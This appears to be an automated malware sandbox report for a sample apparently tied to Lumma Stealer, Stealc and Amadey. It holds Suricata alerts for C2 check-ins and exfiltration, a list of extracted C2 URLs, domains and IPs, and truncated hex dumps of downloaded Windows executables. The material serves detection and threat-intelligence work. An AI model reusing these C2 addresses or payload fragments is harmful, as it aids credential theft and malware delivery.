Source: Network traffic Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.6:49979 -> 104.21.48.1:443
Source: Network traffic Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.6:49992 -> 104.21.48.1:443
Source: Network traffic Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.6:49994 -> 104.21.48.1:443
Source: Network traffic Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:50004 -> 185.215.113.206:80
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:50008 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.6:50013 -> 104.21.48.1:443
Source: Network traffic Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.6:50033 -> 104.21.48.1:443
Source: Network traffic Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.6:50041 -> 104.21.48.1:443
Source: Network traffic Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.6:50050 -> 104.21.48.1:443
Source: Network traffic Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.6:50065 -> 104.21.48.1:443
Source: Network traffic Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.6:50074 -> 104.21.48.1:443
Source: Network traffic Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.6:50079 -> 104.21.48.1:443
Source: Network traffic Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:49873 -> 172.67.139.78:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49873 -> 172.67.139.78:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49924 -> 172.67.139.78:443
Source: Network traffic Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49921 -> 104.21.48.1:443
Source: Network traffic Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.6:49879 -> 172.67.139.78:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49921 -> 104.21.48.1:443
Source: Network traffic Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:49967 -> 104.21.48.1:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49967 -> 104.21.48.1:443
Source: Network traffic Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49867 -> 172.67.139.78:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49867 -> 172.67.139.78:443
Source: Network traffic Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49958 -> 104.21.48.1:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49958 -> 104.21.48.1:443
Source: Network traffic Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:49930 -> 104.21.48.1:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49930 -> 104.21.48.1:443
Source: Network traffic Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.6:49936 -> 104.21.48.1:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49992 -> 104.21.48.1:443
Source: Network traffic Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:50074 -> 104.21.48.1:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50074 -> 104.21.48.1:443
Source: Network traffic Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:50065 -> 104.21.48.1:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50065 -> 104.21.48.1:443
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: http://185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor URLs: drive-connect.cyou
Source: Malware configuration extractor URLs: se-blurry.biz
Source: Malware configuration extractor URLs: zinc-sneark.biz
Source: Malware configuration extractor URLs: dare-curbys.biz
Source: Malware configuration extractor URLs: formy-spill.biz
Source: Malware configuration extractor URLs: print-vexer.biz
Source: Malware configuration extractor URLs: covery-mover.biz
Source: Malware configuration extractor URLs: impend-differ.biz
Source: Malware configuration extractor URLs: dwell-exclaim.biz
Source: Malware configuration extractor IPs: 185.215.113.43
Downloads executable code via HTTP
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 09 Dec 2024 20:09:09 GMTContent-Type: application/octet-streamContent-Length: 828416Last-Modified: Mon, 09 Dec 2024 19:37:50 GMTConnection: keep-aliveETag: "6757470e-ca400"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 08 00 8d fe 56 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 a0 02 00 00 e0 00 00 00 00 00 00 72 e5 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 f0 0c 00 00 08 00 00 a9 ae 0c 00 03 00 40 83 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 e0 3c 03 00 3c 00 00 00 00 a0 03 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 03 00 88 1f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 ff 02 00 18 00 00 00 88 c2 02 00 c0 00 00 00 00 00 00 00 00 00 00 00 94 3e 03 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 c0 9e 02 00 00 10 00 00 00 a0 02 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 3c a3 00 00 00 b0 02 00 00 a4 00 00 00 a8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 d4 27 00 00 00 60 03 00 00 18 00 00 00 4c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 54 4c 53 00 00 00 00 09 00 00 00 00 90 03 00 00 02 00 00 00 64 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 10 00 00 00 00 a0 03 00 00 02 00 00 00 66 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 88 1f 00 00 00 b0 03 00 00 20 00 00 00 68 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 62 73 73 00 00 00 00 00 8e 04 00 00 d0 03 00 00 8e 04 00 00 88 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 73 73 00 00 00 00 00 8e 04 00 00 60 08 00 00 8e 04 00 00 16 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 09 Dec 2024 20:09:16 GMTContent-Type: application/octet-streamContent-Length: 1966080Last-Modified: Mon, 09 Dec 2024 17:50:43 GMTConnection: keep-aliveETag: "67572df3-1e0000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 21 4a f8 9d 40 24 ab 9d 40 24 ab 9d 40 24 ab 83 12 a0 ab 81 40 24 ab 83 12 b1 ab 89 40 24 ab 83 12 a7 ab c5 40 24 ab ba 86 5f ab 94 40 24 ab 9d 40 25 ab f6 40 24 ab 83 12 ae ab 9c 40 24 ab 83 12 b0 ab 9c 40 24 ab 83 12 b5 ab 9c 40 24 ab 52 69 63 68 9d 40 24 ab 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 0c de dd 64 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 d4 02 00 00 b0 01 00 00 00 00 00 00 50 86 00 00 10 00 00 00 f0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 80 86 00 00 04 00 00 68 c0 1e 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5a 10 42 00 6e 00 00 00 00 e0 40 00 68 21 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 8e 85 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 d0 40 00 00 10 00 00 00 54 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 68 21 01 00 00 e0 40 00 00 94 00 00 00 64 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 10 42 00 00 02 00 00 00 f8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 40 29 00 00 20 42 00 00 02 00 00 00 fa 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6b 6c 72 66 6e 68 6a 75 00 e0 1a 00 00 60 6b 00 00 de 1a 00 00 fc 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 61 75 75 73 79 79 63 7a 00 10 00 00 00 40 86 00 00 04 00 00 00 da 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 50 86 00 00 22 00 00 00 de 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 09 Dec 2024 20:09:24 GMTContent-Type: application/octet-streamContent-Length: 1858560Last-Modified: Mon, 09 Dec 2024 20:05:43 GMTConnection: keep-aliveETag: "67574d97-1c5c00"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 ea b9 55 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 dc 03 00 00 b2 00 00 00 00 00 00 00 40 49 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 70 49 00 00 04 00 00 9b 7b 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c 40 05 00 70 00 00 00 00 30 05 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 41 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 20 05 00 00 10 00 00 00 42 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 30 05 00 00 04 00 00 00 52 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 40 05 00 00 02 00 00 00 56 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 00 2a 00 00 50 05 00 00 02 00 00 00 58 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 68 6b 6a 66 67 68 66 67 00 e0 19 00 00 50 2f 00 00 dc 19 00 00 5a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 67 74 77 77 69 76 67 62 00 10 00 00 00 30 49 00 00 04 00 00 00 36 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 40 49 00 00 22 00 00 00 3a 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 09 Dec 2024 20:09:33 GMTContent-Type: application/octet-streamContent-Length: 1831936Last-Modified: Mon, 09 Dec 2024 20:05:50 GMTConnection: keep-aliveETag: "67574d9e-1bf400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 30 6a 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 6a 00 00 04 00 00 df 71 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 68 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 ac 01 00 00 00 a0 24 00 00 02 00 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 7a 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 10 2b 00 00 c0 24 00 00 02 00 00 00 7c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6a 6b 66 76 6a 61 6a 70 00 50 1a 00 00 d0 4f 00 00 50 1a 00 00 7e 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 79 6f 66 70 63 78 6e 6e 00 10 00 00 00 20 6a 00 00 04 00 00 00 ce 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 30 6a 00 00 22 00 00 00 d2 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 09 Dec 2024 20:09:41 GMTContent-Type: application/octet-streamContent-Length: 973312Last-Modified: Mon, 09 Dec 2024 20:03:57 GMTConnection: keep-aliveETag: "67574d2d-eda00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 25 4d 57 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 2a 05 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 30 0f 00 00 04 00 00 c6 02 0f 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 f0 6f 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 0e 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 6f 01 00 00 40 0d 00 00 70 01 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 b0 0e 00 00 76 00 00 00 64 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 09 Dec 2024 20:09:49 GMTContent-Type: application/octet-streamContent-Length: 2793472Last-Modified: Mon, 09 Dec 2024 20:04:25 GMTConnection: keep-aliveETag: "67574d49-2aa000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 00 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 2b 00 00 04 00 00 47 78 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 00 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 69 78 6e 61 6a 67 6f 6d 00 40 2a 00 00 a0 00 00 00 3e 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 73 65 79 75 71 71 79 66 00 20 00 00 00 e0 2a 00 00 06 00 00 00 78 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 00 2b 00 00 22 00 00 00 7e 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 